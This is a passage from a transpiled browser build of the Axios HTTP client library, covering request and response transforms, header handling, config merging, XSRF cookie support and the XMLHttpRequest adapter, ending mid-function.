    if (utils$1.isFormData(formData) && utils$1.isFunction(formData.entries)) {
      var obj = {};
      utils$1.forEachEntry(formData, function (name, value) {
        buildPath(parsePropPath(name), value, obj, 0);
      });
      return obj;
    }
    return null;
  }

  /**
   * It takes a string, tries to parse it, and if it fails, it returns the stringified version
   * of the input
   *
   * @param {any} rawValue - The value to be stringified.
   * @param {Function} parser - A function that parses a string into a JavaScript object.
   * @param {Function} encoder - A function that takes a value and returns a string.
   *
   * @returns {string} A stringified version of the rawValue.
   */
  function stringifySafely(rawValue, parser, encoder) {
    if (utils$1.isString(rawValue)) {
      try {
        (parser || JSON.parse)(rawValue);
        return utils$1.trim(rawValue);
      } catch (e) {
        if (e.name !== 'SyntaxError') {
          throw e;
        }
      }
    }
    return (encoder || JSON.stringify)(rawValue);
  }
  var defaults = {
    transitional: transitionalDefaults,
    adapter: ['xhr', 'http', 'fetch'],
    transformRequest: [function transformRequest(data, headers) {
      var contentType = headers.getContentType() || '';
      var hasJSONContentType = contentType.indexOf('application/json') > -1;
      var isObjectPayload = utils$1.isObject(data);
      if (isObjectPayload && utils$1.isHTMLForm(data)) {
        data = new FormData(data);
      }
      var isFormData = utils$1.isFormData(data);
      if (isFormData) {
        return hasJSONContentType ? JSON.stringify(formDataToJSON(data)) : data;
      }
      if (utils$1.isArrayBuffer(data) || utils$1.isBuffer(data) || utils$1.isStream(data) || utils$1.isFile(data) || utils$1.isBlob(data) || utils$1.isReadableStream(data)) {
        return data;
      }
      if (utils$1.isArrayBufferView(data)) {
        return data.buffer;
      }
      if (utils$1.isURLSearchParams(data)) {
        headers.setContentType('application/x-www-form-urlencoded;charset=utf-8', false);
        return data.toString();
      }
      var isFileList;
      if (isObjectPayload) {
        if (contentType.indexOf('application/x-www-form-urlencoded') > -1) {
          return toURLEncodedForm(data, this.formSerializer).toString();
        }
        if ((isFileList = utils$1.isFileList(data)) || contentType.indexOf('multipart/form-data') > -1) {
          var _FormData = this.env && this.env.FormData;
          return toFormData(isFileList ? {
            'files[]': data
          } : data, _FormData && new _FormData(), this.formSerializer);
        }
      }
      if (isObjectPayload || hasJSONContentType) {
        headers.setContentType('application/json', false);
        return stringifySafely(data);
      }
      return data;
    }],
    transformResponse: [function transformResponse(data) {
      var transitional = this.transitional || defaults.transitional;
      var forcedJSONParsing = transitional && transitional.forcedJSONParsing;
      var JSONRequested = this.responseType === 'json';
      if (utils$1.isResponse(data) || utils$1.isReadableStream(data)) {
        return data;
      }
      if (data && utils$1.isString(data) && (forcedJSONParsing && !this.responseType || JSONRequested)) {
        var silentJSONParsing = transitional && transitional.silentJSONParsing;
        var strictJSONParsing = !silentJSONParsing && JSONRequested;
        try {
          return JSON.parse(data);
        } catch (e) {
          if (strictJSONParsing) {
            if (e.name === 'SyntaxError') {
              throw AxiosError.from(e, AxiosError.ERR_BAD_RESPONSE, this, null, this.response);
            }
            throw e;
          }
        }
      }
      return data;
    }],
    /**
     * A timeout in milliseconds to abort a request. If set to 0 (default) a
     * timeout is not created.
     */
    timeout: 0,
    xsrfCookieName: 'XSRF-TOKEN',
    xsrfHeaderName: 'X-XSRF-TOKEN',
    maxContentLength: -1,
    maxBodyLength: -1,
    env: {
      FormData: platform.classes.FormData,
      Blob: platform.classes.Blob
    },
    validateStatus: function validateStatus(status) {
      return status >= 200 && status < 300;
    },
    headers: {
      common: {
        'Accept': 'application/json, text/plain, */*',
        'Content-Type': undefined
      }
    }
  };
  utils$1.forEach(['delete', 'get', 'head', 'post', 'put', 'patch'], function (method) {
    defaults.headers[method] = {};
  });
  var defaults$1 = defaults;

  // RawAxiosHeaders whose duplicates are ignored by node
  // c.f. https://nodejs.org/api/http.html#http_message_headers
  var ignoreDuplicateOf = utils$1.toObjectSet(['age', 'authorization', 'content-length', 'content-type', 'etag', 'expires', 'from', 'host', 'if-modified-since', 'if-unmodified-since', 'last-modified', 'location', 'max-forwards', 'proxy-authorization', 'referer', 'retry-after', 'user-agent']);

  /**
   * Parse headers into an object
   *
   * ```
   * Date: Wed, 27 Aug 2014 08:58:49 GMT
   * Content-Type: application/json
   * Connection: keep-alive
   * Transfer-Encoding: chunked
   * ```
   *
   * @param {String} rawHeaders Headers needing to be parsed
   *
   * @returns {Object} Headers parsed into an object
   */
  var parseHeaders = (function (rawHeaders) {
    var parsed = {};
    var key;
    var val;
    var i;
    rawHeaders && rawHeaders.split('\n').forEach(function parser(line) {
      i = line.indexOf(':');
      key = line.substring(0, i).trim().toLowerCase();
      val = line.substring(i + 1).trim();
      if (!key || parsed[key] && ignoreDuplicateOf[key]) {
        return;
      }
      if (key === 'set-cookie') {
        if (parsed[key]) {
          parsed[key].push(val);
        } else {
          parsed[key] = [val];
        }
      } else {
        parsed[key] = parsed[key] ? parsed[key] + ', ' + val : val;
      }
    });
    return parsed;
  });

  var $internals = Symbol('internals');
  function normalizeHeader(header) {
    return header && String(header).trim().toLowerCase();
  }
  function normalizeValue(value) {
    if (value === false || value == null) {
      return value;
    }
    return utils$1.isArray(value) ? value.map(normalizeValue) : String(value);
  }
  function parseTokens(str) {
    var tokens = Object.create(null);
    var tokensRE = /([^\s,;=]+)\s*(?:=\s*([^,;]+))?/g;
    var match;
    while (match = tokensRE.exec(str)) {
      tokens[match[1]] = match[2];
    }
    return tokens;
  }
  var isValidHeaderName = function isValidHeaderName(str) {
    return /^[-_a-zA-Z0-9^`|~,!#$%&'*+.]+$/.test(str.trim());
  };
  function matchHeaderValue(context, value, header, filter, isHeaderNameFilter) {
    if (utils$1.isFunction(filter)) {
      return filter.call(this, value, header);
    }
    if (isHeaderNameFilter) {
      value = header;
    }
    if (!utils$1.isString(value)) return;
    if (utils$1.isString(filter)) {
      return value.indexOf(filter) !== -1;
    }
    if (utils$1.isRegExp(filter)) {
      return filter.test(value);
    }
  }
  function formatHeader(header) {
    return header.trim().toLowerCase().replace(/([a-z\d])(\w*)/g, function (w, _char, str) {
      return _char.toUpperCase() + str;
    });
  }
  function buildAccessors(obj, header) {
    var accessorName = utils$1.toCamelCase(' ' + header);
    ['get', 'set', 'has'].forEach(function (methodName) {
      Object.defineProperty(obj, methodName + accessorName, {
        value: function value(arg1, arg2, arg3) {
          return this[methodName].call(this, header, arg1, arg2, arg3);
        },
        configurable: true
      });
    });
  }
  var AxiosHeaders = /*#__PURE__*/function (_Symbol$iterator, _Symbol$toStringTag) {
    function AxiosHeaders(headers) {
      _classCallCheck(this, AxiosHeaders);
      headers && this.set(headers);
    }
    _createClass(AxiosHeaders, [{
      key: "set",
      value: function set(header, valueOrRewrite, rewrite) {
        var self = this;
        function setHeader(_value, _header, _rewrite) {
          var lHeader = normalizeHeader(_header);
          if (!lHeader) {
            throw new Error('header name must be a non-empty string');
          }
          var key = utils$1.findKey(self, lHeader);
          if (!key || self[key] === undefined || _rewrite === true || _rewrite === undefined && self[key] !== false) {
            self[key || _header] = normalizeValue(_value);
          }
        }
        var setHeaders = function setHeaders(headers, _rewrite) {
          return utils$1.forEach(headers, function (_value, _header) {
            return setHeader(_value, _header, _rewrite);
          });
        };
        if (utils$1.isPlainObject(header) || header instanceof this.constructor) {
          setHeaders(header, valueOrRewrite);
        } else if (utils$1.isString(header) && (header = header.trim()) && !isValidHeaderName(header)) {
          setHeaders(parseHeaders(header), valueOrRewrite);
        } else if (utils$1.isHeaders(header)) {
          var _iterator = _createForOfIteratorHelper(header.entries()),
            _step;
          try {
            for (_iterator.s(); !(_step = _iterator.n()).done;) {
              var _step$value = _slicedToArray(_step.value, 2),
                key = _step$value[0],
                value = _step$value[1];
              setHeader(value, key, rewrite);
            }
          } catch (err) {
            _iterator.e(err);
          } finally {
            _iterator.f();
          }
        } else {
          header != null && setHeader(valueOrRewrite, header, rewrite);
        }
        return this;
      }
    }, {
      key: "get",
      value: function get(header, parser) {
        header = normalizeHeader(header);
        if (header) {
          var key = utils$1.findKey(this, header);
          if (key) {
            var value = this[key];
            if (!parser) {
              return value;
            }
            if (parser === true) {
              return parseTokens(value);
            }
            if (utils$1.isFunction(parser)) {
              return parser.call(this, value, key);
            }
            if (utils$1.isRegExp(parser)) {
              return parser.exec(value);
            }
            throw new TypeError('parser must be boolean|regexp|function');
          }
        }
      }
    }, {
      key: "has",
      value: function has(header, matcher) {
        header = normalizeHeader(header);
        if (header) {
          var key = utils$1.findKey(this, header);
          return !!(key && this[key] !== undefined && (!matcher || matchHeaderValue(this, this[key], key, matcher)));
        }
        return false;
      }
    }, {
      key: "delete",
      value: function _delete(header, matcher) {
        var self = this;
        var deleted = false;
        function deleteHeader(_header) {
          _header = normalizeHeader(_header);
          if (_header) {
            var key = utils$1.findKey(self, _header);
            if (key && (!matcher || matchHeaderValue(self, self[key], key, matcher))) {
              delete self[key];
              deleted = true;
            }
          }
        }
        if (utils$1.isArray(header)) {
          header.forEach(deleteHeader);
        } else {
          deleteHeader(header);
        }
        return deleted;
      }
    }, {
      key: "clear",
      value: function clear(matcher) {
        var keys = Object.keys(this);
        var i = keys.length;
        var deleted = false;
        while (i--) {
          var key = keys[i];
          if (!matcher || matchHeaderValue(this, this[key], key, matcher, true)) {
            delete this[key];
            deleted = true;
          }
        }
        return deleted;
      }
    }, {
      key: "normalize",
      value: function normalize(format) {
        var self = this;
        var headers = {};
        utils$1.forEach(this, function (value, header) {
          var key = utils$1.findKey(headers, header);
          if (key) {
            self[key] = normalizeValue(value);
            delete self[header];
            return;
          }
          var normalized = format ? formatHeader(header) : String(header).trim();
          if (normalized !== header) {
            delete self[header];
          }
          self[normalized] = normalizeValue(value);
          headers[normalized] = true;
        });
        return this;
      }
    }, {
      key: "concat",
      value: function concat() {
        var _this$constructor;
        for (var _len = arguments.length, targets = new Array(_len), _key = 0; _key < _len; _key++) {
          targets[_key] = arguments[_key];
        }
        return (_this$constructor = this.constructor).concat.apply(_this$constructor, [this].concat(targets));
      }
    }, {
      key: "toJSON",
      value: function toJSON(asStrings) {
        var obj = Object.create(null);
        utils$1.forEach(this, function (value, header) {
          value != null && value !== false && (obj[header] = asStrings && utils$1.isArray(value) ? value.join(', ') : value);
        });
        return obj;
      }
    }, {
      key: _Symbol$iterator,
      value: function value() {
        return Object.entries(this.toJSON())[Symbol.iterator]();
      }
    }, {
      key: "toString",
      value: function toString() {
        return Object.entries(this.toJSON()).map(function (_ref) {
          var _ref2 = _slicedToArray(_ref, 2),
            header = _ref2[0],
            value = _ref2[1];
          return header + ': ' + value;
        }).join('\n');
      }
    }, {
      key: _Symbol$toStringTag,
      get: function get() {
        return 'AxiosHeaders';
      }
    }], [{
      key: "from",
      value: function from(thing) {
        return thing instanceof this ? thing : new this(thing);
      }
    }, {
      key: "concat",
      value: function concat(first) {
        var computed = new this(first);
        for (var _len2 = arguments.length, targets = new Array(_len2 > 1 ? _len2 - 1 : 0), _key2 = 1; _key2 < _len2; _key2++) {
          targets[_key2 - 1] = arguments[_key2];
        }
        targets.forEach(function (target) {
          return computed.set(target);
        });
        return computed;
      }
    }, {
      key: "accessor",
      value: function accessor(header) {
        var internals = this[$internals] = this[$internals] = {
          accessors: {}
        };
        var accessors = internals.accessors;
        var prototype = this.prototype;
        function defineAccessor(_header) {
          var lHeader = normalizeHeader(_header);
          if (!accessors[lHeader]) {
            buildAccessors(prototype, _header);
            accessors[lHeader] = true;
          }
        }
        utils$1.isArray(header) ? header.forEach(defineAccessor) : defineAccessor(header);
        return this;
      }
    }]);
    return AxiosHeaders;
  }(Symbol.iterator, Symbol.toStringTag);
  AxiosHeaders.accessor(['Content-Type', 'Content-Length', 'Accept', 'Accept-Encoding', 'User-Agent', 'Authorization']);

  // reserved names hotfix
  utils$1.reduceDescriptors(AxiosHeaders.prototype, function (_ref3, key) {
    var value = _ref3.value;
    var mapped = key[0].toUpperCase() + key.slice(1); // map `set` => `Set`
    return {
      get: function get() {
        return value;
      },
      set: function set(headerValue) {
        this[mapped] = headerValue;
      }
    };
  });
  utils$1.freezeMethods(AxiosHeaders);
  var AxiosHeaders$1 = AxiosHeaders;

  /**
   * Transform the data for a request or a response
   *
   * @param {Array|Function} fns A single function or Array of functions
   * @param {?Object} response The response object
   *
   * @returns {*} The resulting transformed data
   */
  function transformData(fns, response) {
    var config = this || defaults$1;
    var context = response || config;
    var headers = AxiosHeaders$1.from(context.headers);
    var data = context.data;
    utils$1.forEach(fns, function transform(fn) {
      data = fn.call(config, data, headers.normalize(), response ? response.status : undefined);
    });
    headers.normalize();
    return data;
  }

  function isCancel(value) {
    return !!(value && value.__CANCEL__);
  }

  /**
   * A `CanceledError` is an object that is thrown when an operation is canceled.
   *
   * @param {string=} message The message.
   * @param {Object=} config The config.
   * @param {Object=} request The request.
   *
   * @returns {CanceledError} The created error.
   */
  function CanceledError(message, config, request) {
    // eslint-disable-next-line no-eq-null,eqeqeq
    AxiosError.call(this, message == null ? 'canceled' : message, AxiosError.ERR_CANCELED, config, request);
    this.name = 'CanceledError';
  }
  utils$1.inherits(CanceledError, AxiosError, {
    __CANCEL__: true
  });

  /**
   * Resolve or reject a Promise based on response status.
   *
   * @param {Function} resolve A function that resolves the promise.
   * @param {Function} reject A function that rejects the promise.
   * @param {object} response The response.
   *
   * @returns {object} The response.
   */
  function settle(resolve, reject, response) {
    var validateStatus = response.config.validateStatus;
    if (!response.status || !validateStatus || validateStatus(response.status)) {
      resolve(response);
    } else {
      reject(new AxiosError('Request failed with status code ' + response.status, [AxiosError.ERR_BAD_REQUEST, AxiosError.ERR_BAD_RESPONSE][Math.floor(response.status / 100) - 4], response.config, response.request, response));
    }
  }

  function parseProtocol(url) {
    var match = /^([-+\w]{1,25})(:?\/\/|:)/.exec(url);
    return match && match[1] || '';
  }

  /**
   * Calculate data maxRate
   * @param {Number} [samplesCount= 10]
   * @param {Number} [min= 1000]
   * @returns {Function}
   */
  function speedometer(samplesCount, min) {
    samplesCount = samplesCount || 10;
    var bytes = new Array(samplesCount);
    var timestamps = new Array(samplesCount);
    var head = 0;
    var tail = 0;
    var firstSampleTS;
    min = min !== undefined ? min : 1000;
    return function push(chunkLength) {
      var now = Date.now();
      var startedAt = timestamps[tail];
      if (!firstSampleTS) {
        firstSampleTS = now;
      }
      bytes[head] = chunkLength;
      timestamps[head] = now;
      var i = tail;
      var bytesCount = 0;
      while (i !== head) {
        bytesCount += bytes[i++];
        i = i % samplesCount;
      }
      head = (head + 1) % samplesCount;
      if (head === tail) {
        tail = (tail + 1) % samplesCount;
      }
      if (now - firstSampleTS < min) {
        return;
      }
      var passed = startedAt && now - startedAt;
      return passed ? Math.round(bytesCount * 1000 / passed) : undefined;
    };
  }

  /**
   * Throttle decorator
   * @param {Function} fn
   * @param {Number} freq
   * @return {Function}
   */
  function throttle(fn, freq) {
    var timestamp = 0;
    var threshold = 1000 / freq;
    var timer = null;
    return function throttled() {
      var _arguments = arguments;
      var force = this === true;
      var now = Date.now();
      if (force || now - timestamp > threshold) {
        if (timer) {
          clearTimeout(timer);
          timer = null;
        }
        timestamp = now;
        return fn.apply(null, arguments);
      }
      if (!timer) {
        timer = setTimeout(function () {
          timer = null;
          timestamp = Date.now();
          return fn.apply(null, _arguments);
        }, threshold - (now - timestamp));
      }
    };
  }

  var progressEventReducer = (function (listener, isDownloadStream) {
    var freq = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : 3;
    var bytesNotified = 0;
    var _speedometer = speedometer(50, 250);
    return throttle(function (e) {
      var loaded = e.loaded;
      var total = e.lengthComputable ? e.total : undefined;
      var progressBytes = loaded - bytesNotified;
      var rate = _speedometer(progressBytes);
      var inRange = loaded <= total;
      bytesNotified = loaded;
      var data = {
        loaded: loaded,
        total: total,
        progress: total ? loaded / total : undefined,
        bytes: progressBytes,
        rate: rate ? rate : undefined,
        estimated: rate && total && inRange ? (total - loaded) / rate : undefined,
        event: e,
        lengthComputable: total != null
      };
      data[isDownloadStream ? 'download' : 'upload'] = true;
      listener(data);
    }, freq);
  });

  var isURLSameOrigin = platform.hasStandardBrowserEnv ?
  // Standard browser envs have full support of the APIs needed to test
  // whether the request URL is of the same origin as current location.
  function standardBrowserEnv() {
    var msie = /(msie|trident)/i.test(navigator.userAgent);
    var urlParsingNode = document.createElement('a');
    var originURL;

    /**
    * Parse a URL to discover its components
    *
    * @param {String} url The URL to be parsed
    * @returns {Object}
    */
    function resolveURL(url) {
      var href = url;
      if (msie) {
        // IE needs attribute set twice to normalize properties
        urlParsingNode.setAttribute('href', href);
        href = urlParsingNode.href;
      }
      urlParsingNode.setAttribute('href', href);

      // urlParsingNode provides the UrlUtils interface - http://url.spec.whatwg.org/#urlutils
      return {
        href: urlParsingNode.href,
        protocol: urlParsingNode.protocol ? urlParsingNode.protocol.replace(/:$/, '') : '',
        host: urlParsingNode.host,
        search: urlParsingNode.search ? urlParsingNode.search.replace(/^\?/, '') : '',
        hash: urlParsingNode.hash ? urlParsingNode.hash.replace(/^#/, '') : '',
        hostname: urlParsingNode.hostname,
        port: urlParsingNode.port,
        pathname: urlParsingNode.pathname.charAt(0) === '/' ? urlParsingNode.pathname : '/' + urlParsingNode.pathname
      };
    }
    originURL = resolveURL(window.location.href);

    /**
    * Determine if a URL shares the same origin as the current location
    *
    * @param {String} requestURL The URL to test
    * @returns {boolean} True if URL shares the same origin, otherwise false
    */
    return function isURLSameOrigin(requestURL) {
      var parsed = utils$1.isString(requestURL) ? resolveURL(requestURL) : requestURL;
      return parsed.protocol === originURL.protocol && parsed.host === originURL.host;
    };
  }() :
  // Non standard browser envs (web workers, react-native) lack needed support.
  function nonStandardBrowserEnv() {
    return function isURLSameOrigin() {
      return true;
    };
  }();

  var cookies = platform.hasStandardBrowserEnv ?
  // Standard browser envs support document.cookie
  {
    write: function write(name, value, expires, path, domain, secure) {
      var cookie = [name + '=' + encodeURIComponent(value)];
      utils$1.isNumber(expires) && cookie.push('expires=' + new Date(expires).toGMTString());
      utils$1.isString(path) && cookie.push('path=' + path);
      utils$1.isString(domain) && cookie.push('domain=' + domain);
      secure === true && cookie.push('secure');
      document.cookie = cookie.join('; ');
    },
    read: function read(name) {
      var match = document.cookie.match(new RegExp('(^|;\\s*)(' + name + ')=([^;]*)'));
      return match ? decodeURIComponent(match[3]) : null;
    },
    remove: function remove(name) {
      this.write(name, '', Date.now() - 86400000);
    }
  } :
  // Non-standard browser env (web workers, react-native) lack needed support.
  {
    write: function write() {},
    read: function read() {
      return null;
    },
    remove: function remove() {}
  };

  /**
   * Determines whether the specified URL is absolute
   *
   * @param {string} url The URL to test
   *
   * @returns {boolean} True if the specified URL is absolute, otherwise false
   */
  function isAbsoluteURL(url) {
    // A URL is considered absolute if it begins with "<scheme>://" or "//" (protocol-relative URL).
    // RFC 3986 defines scheme name as a sequence of characters beginning with a letter and followed
    // by any combination of letters, digits, plus, period, or hyphen.
    return /^([a-z][a-z\d+\-.]*:)?\/\//i.test(url);
  }

  /**
   * Creates a new URL by combining the specified URLs
   *
   * @param {string} baseURL The base URL
   * @param {string} relativeURL The relative URL
   *
   * @returns {string} The combined URL
   */
  function combineURLs(baseURL, relativeURL) {
    return relativeURL ? baseURL.replace(/\/?\/$/, '') + '/' + relativeURL.replace(/^\/+/, '') : baseURL;
  }

  /**
   * Creates a new URL by combining the baseURL with the requestedURL,
   * only when the requestedURL is not already an absolute URL.
   * If the requestURL is absolute, this function returns the requestedURL untouched.
   *
   * @param {string} baseURL The base URL
   * @param {string} requestedURL Absolute or relative URL to combine
   *
   * @returns {string} The combined full path
   */
  function buildFullPath(baseURL, requestedURL) {
    if (baseURL && !isAbsoluteURL(requestedURL)) {
      return combineURLs(baseURL, requestedURL);
    }
    return requestedURL;
  }

  var headersToObject = function headersToObject(thing) {
    return thing instanceof AxiosHeaders$1 ? _objectSpread2({}, thing) : thing;
  };

  /**
   * Config-specific merge-function which creates a new config-object
   * by merging two configuration objects together.
   *
   * @param {Object} config1
   * @param {Object} config2
   *
   * @returns {Object} New object resulting from merging config2 to config1
   */
  function mergeConfig(config1, config2) {
    // eslint-disable-next-line no-param-reassign
    config2 = config2 || {};
    var config = {};
    function getMergedValue(target, source, caseless) {
      if (utils$1.isPlainObject(target) && utils$1.isPlainObject(source)) {
        return utils$1.merge.call({
          caseless: caseless
        }, target, source);
      } else if (utils$1.isPlainObject(source)) {
        return utils$1.merge({}, source);
      } else if (utils$1.isArray(source)) {
        return source.slice();
      }
      return source;
    }

    // eslint-disable-next-line consistent-return
    function mergeDeepProperties(a, b, caseless) {
      if (!utils$1.isUndefined(b)) {
        return getMergedValue(a, b, caseless);
      } else if (!utils$1.isUndefined(a)) {
        return getMergedValue(undefined, a, caseless);
      }
    }

    // eslint-disable-next-line consistent-return
    function valueFromConfig2(a, b) {
      if (!utils$1.isUndefined(b)) {
        return getMergedValue(undefined, b);
      }
    }

    // eslint-disable-next-line consistent-return
    function defaultToConfig2(a, b) {
      if (!utils$1.isUndefined(b)) {
        return getMergedValue(undefined, b);
      } else if (!utils$1.isUndefined(a)) {
        return getMergedValue(undefined, a);
      }
    }

    // eslint-disable-next-line consistent-return
    function mergeDirectKeys(a, b, prop) {
      if (prop in config2) {
        return getMergedValue(a, b);
      } else if (prop in config1) {
        return getMergedValue(undefined, a);
      }
    }
    var mergeMap = {
      url: valueFromConfig2,
      method: valueFromConfig2,
      data: valueFromConfig2,
      baseURL: defaultToConfig2,
      transformRequest: defaultToConfig2,
      transformResponse: defaultToConfig2,
      paramsSerializer: defaultToConfig2,
      timeout: defaultToConfig2,
      timeoutMessage: defaultToConfig2,
      withCredentials: defaultToConfig2,
      withXSRFToken: defaultToConfig2,
      adapter: defaultToConfig2,
      responseType: defaultToConfig2,
      xsrfCookieName: defaultToConfig2,
      xsrfHeaderName: defaultToConfig2,
      onUploadProgress: defaultToConfig2,
      onDownloadProgress: defaultToConfig2,
      decompress: defaultToConfig2,
      maxContentLength: defaultToConfig2,
      maxBodyLength: defaultToConfig2,
      beforeRedirect: defaultToConfig2,
      transport: defaultToConfig2,
      httpAgent: defaultToConfig2,
      httpsAgent: defaultToConfig2,
      cancelToken: defaultToConfig2,
      socketPath: defaultToConfig2,
      responseEncoding: defaultToConfig2,
      validateStatus: mergeDirectKeys,
      headers: function headers(a, b) {
        return mergeDeepProperties(headersToObject(a), headersToObject(b), true);
      }
    };
    utils$1.forEach(Object.keys(Object.assign({}, config1, config2)), function computeConfigValue(prop) {
      var merge = mergeMap[prop] || mergeDeepProperties;
      var configValue = merge(config1[prop], config2[prop], prop);
      utils$1.isUndefined(configValue) && merge !== mergeDirectKeys || (config[prop] = configValue);
    });
    return config;
  }

  var resolveConfig = (function (config) {
    var newConfig = mergeConfig({}, config);
    var data = newConfig.data,
      withXSRFToken = newConfig.withXSRFToken,
      xsrfHeaderName = newConfig.xsrfHeaderName,
      xsrfCookieName = newConfig.xsrfCookieName,
      headers = newConfig.headers,
      auth = newConfig.auth;
    newConfig.headers = headers = AxiosHeaders$1.from(headers);
    newConfig.url = buildURL(buildFullPath(newConfig.baseURL, newConfig.url), config.params, config.paramsSerializer);

    // HTTP basic authentication
    if (auth) {
      headers.set('Authorization', 'Basic ' + btoa((auth.username || '') + ':' + (auth.password ? unescape(encodeURIComponent(auth.password)) : '')));
    }
    var contentType;
    if (utils$1.isFormData(data)) {
      if (platform.hasStandardBrowserEnv || platform.hasStandardBrowserWebWorkerEnv) {
        headers.setContentType(undefined); // Let the browser set it
      } else if ((contentType = headers.getContentType()) !== false) {
        // fix semicolon duplication issue for ReactNative FormData implementation
        var _ref = contentType ? contentType.split(';').map(function (token) {
            return token.trim();
          }).filter(Boolean) : [],
          _ref2 = _toArray(_ref),
          type = _ref2[0],
          tokens = _ref2.slice(1);
        headers.setContentType([type || 'multipart/form-data'].concat(_toConsumableArray(tokens)).join('; '));
      }
    }

    // Add xsrf header
    // This is only done if running in a standard browser environment.
    // Specifically not if we're in a web worker, or react-native.

    if (platform.hasStandardBrowserEnv) {
      withXSRFToken && utils$1.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig));
      if (withXSRFToken || withXSRFToken !== false && isURLSameOrigin(newConfig.url)) {
        // Add xsrf header
        var xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);
        if (xsrfValue) {
          headers.set(xsrfHeaderName, xsrfValue);
        }
      }
    }
    return newConfig;
  });

  var isXHRAdapterSupported = typeof XMLHttpRequest !== 'undefined';
  var xhrAdapter = isXHRAdapterSupported && function (config) {
    return new Promise(function dispatchXhrRequest(resolve, reject) {
      var _config = resolveConfig(config);
      var requestData = _config.data;
      var requestHeaders = AxiosHeaders$1.from(_config.headers).normalize();
      var responseType = _config.responseType;
      var onCanceled;
      function done() {
        if (_config.cancelToken) {
          _config.cancelToken.unsubscribe(onCanceled);
        }
        if (_config.signal) {
          _config.signal.removeEventListener('abort', onCanceled);
        }
      }
      var request = new XMLHttpRequest();
      request.open(_config.method.toUpperCase(), _config.url, true);

      // Set the request timeout in MS
      request.timeout = _config.timeout;
      function onloadend() {
        if (!request) {
          return;
        }
        // Prepare the response
        var responseHeaders = AxiosHeaders$1.from('getAllResponseHeaders' in request && request.getAllResponseHeaders());
        var responseData = !responseType || responseType === 'text' || responseType === 'json' ? request.responseText : request.response;
        var response = {
          data: responseData,
          status: request.status,
          statusText: request.statusText,
          headers: responseHeaders,
          config: config,
          request: request
        };
        settle(function _resolve(value) {
          resolve(value);
          done();
        }, function _reject(err) {
          reject(err);
          done();
        }, response);

        // Clean up request
        request = null;
      }
      if ('onloadend' in request) {
        // Use onloadend if available
        request.onloadend = onloadend;
      } else {
        // Listen for ready state to emulate onloadend
        request.onreadystatechange = function handleLoad() {
          if (!request || request.readyState !== 4) {
            return;
          }

          // The request errored out and we didn't get a response, this will be
          // handled by onerror instead
          // With one exception: request that using file: protocol, most browsers
          // will return status as 0 even though it's a successful request
          if (request.status === 0 && !(request.responseURL && request.responseURL.indexOf('file:') === 0)) {
            return;
          }
          // readystate handler is calling before onerror or ontimeout handlers,
          // so we should call onloadend on the next 'tick'
          setTimeout(onloadend);
        };
      }

      // Handle browser request cancellation (as opposed to a manual cancellation)
      request.onabort = function handleAbort() {
        if (!request) {
          return;
        }
        reject(new AxiosError('Request aborted', AxiosError.ECONNABORTED, _config, request));

        // Clean up request
        request = null;
      };

      // Handle low level network errors
      request.onerror = function handleError() {
        // Real errors are hidden from us by the browser
        // onerror should only fire if it's a network error
        reject(new AxiosError('Network Error', AxiosError.ERR_NETWORK, _config, request));

        // Clean up request
        request = null;
      };

      // Handle timeout
      request.ontimeout = function handleTimeout() {
        var timeoutErrorMessage = _config.timeout ? 'timeout of ' + _config.timeout + 'ms exceeded' : 'timeout exceeded';
        var transitional = _config.transitional || transitionalDefaults;
        if (_config.timeoutErrorMessage) {
          timeoutErrorMessage = _config.timeoutErrorMessage;
        }
        reject(new AxiosError(timeoutErrorMessage, transitional.clarifyTimeoutError ? AxiosError.ETIMEDOUT : AxiosError.ECONNABORTED, _config, request));

        // Clean up request
        request = null;
      };

      // Remove Content-Type if data is undefined
      requestData === undefined && requestHeaders.setContentType(null);

      // Add headers to the request
      if ('setRequestHeader' in request) {
        utils$1.forEach(requestHeaders.toJSON(), function setRequestHeader(val, key) {
          request.setRequestHeader(key, val);
        });
      }

      // Add withCredentials to request if needed
      if (!utils$1.isUndefined(_config.withCredentials)) {
        request.withCredentials = !!_config.withCredentials;
      }

      // Add responseType to request if needed
      if (responseType && responseType !== 'json') {
        request.responseType = _config.responseType;
      }

      // Handle progress if needed
      if (typeof _config.onDownloadProgress === 'function') {
        request.addEventListener('progress', progressEventReducer(_config.onDownloadProgress, true));
      }

      // Not all browsers support upload events
      if (typeof _config.onUploadProgress === 'function' && request.upload) {
        request.upload.addEventListener('progress', progressEventReducer(_config.onUploadProgress));
      }
      if (_config.cancelToken || _config.signal) {
        // Handle cancellation
        // eslint-disable-next-line func-names
        onCanceled = function onCanceled(cancel) {
          if (!request) {
            return;
          }
          reject(!cancel || cancel.type ? new CanceledError(null, config, request) : cancel);
          request.abort();
          request = null;
        };
        _config.cancelToken && _config.cancelToken.subscribe(onCanceled);
        if (_config.signal) {
          _config.signal.aborted ? onCanceled() : _config.signal.addEventListener('abort', onCanceled);
        }
      }
      var protocol = parseProtocol(_config.url);
      if (protocol && platform.protocols.indexOf(protocol) === -1) {
        reject(new AxiosError('Unsupported protocol ' + protocol + ':', AxiosError.ERR_BAD_REQUEST, config));
        return;
      }

      // Send the request
      request.send(requestData || null);
    });
  };

  var composeSignals = function composeSignals(signals, timeout) {
    var controller = new AbortController();
    var aborted;
    var onabort = function onabort(cancel) {
      if (!aborted) {
        aborted = true;
        unsubscribe();
        var err = cancel instanceof Error ? cancel : this.reason;
        controller.abort(err instanceof AxiosError ? err : new CanceledError(err instanceof Error ? err.message : err));
      }
    };
    var timer = timeout && setTimeout(function () {
      onabort(new AxiosError("timeout ".concat(timeout, " of ms exceeded"), AxiosError.ETIMEDOUT));
    }, timeout);
    var unsubscribe = function unsubscribe() {
      if (signals) {
        timer && clearTimeout(timer);
        timer = null;
        signals.forEach(function (signal) {
          signal && (signal.removeEventListener ? signal.removeEventListener('abort', onabort) : signal.unsubscribe(onabort));
        });
        signals = null;
      }
    };
    signals.forEach(function (signal) {
      return signal && signal.addEventListener && signal.addEventListener('abort', onabort);
    });
    var signal = controller.signal;
    signal.unsubscribe = unsubscribe;
    return [signal, function () {
      timer && clearTimeout(timer);
      timer = null;
    }];
  };
  var composeSignals$1 = composeSignals;

  var streamChunk = /*#__PURE__*/_regeneratorRuntime().mark(function streamChunk(chunk, chunkSize) {
    var len, pos, end;
    return _regeneratorRuntime().wrap(function streamChunk$(_context) {
      while (1) switch (_context.prev = _context.next) {
        case 0:
          len = chunk.byteLength;
          if (!(!chunkSize || len < chunkSize)) {
            _context.next = 5;
            break;
          }
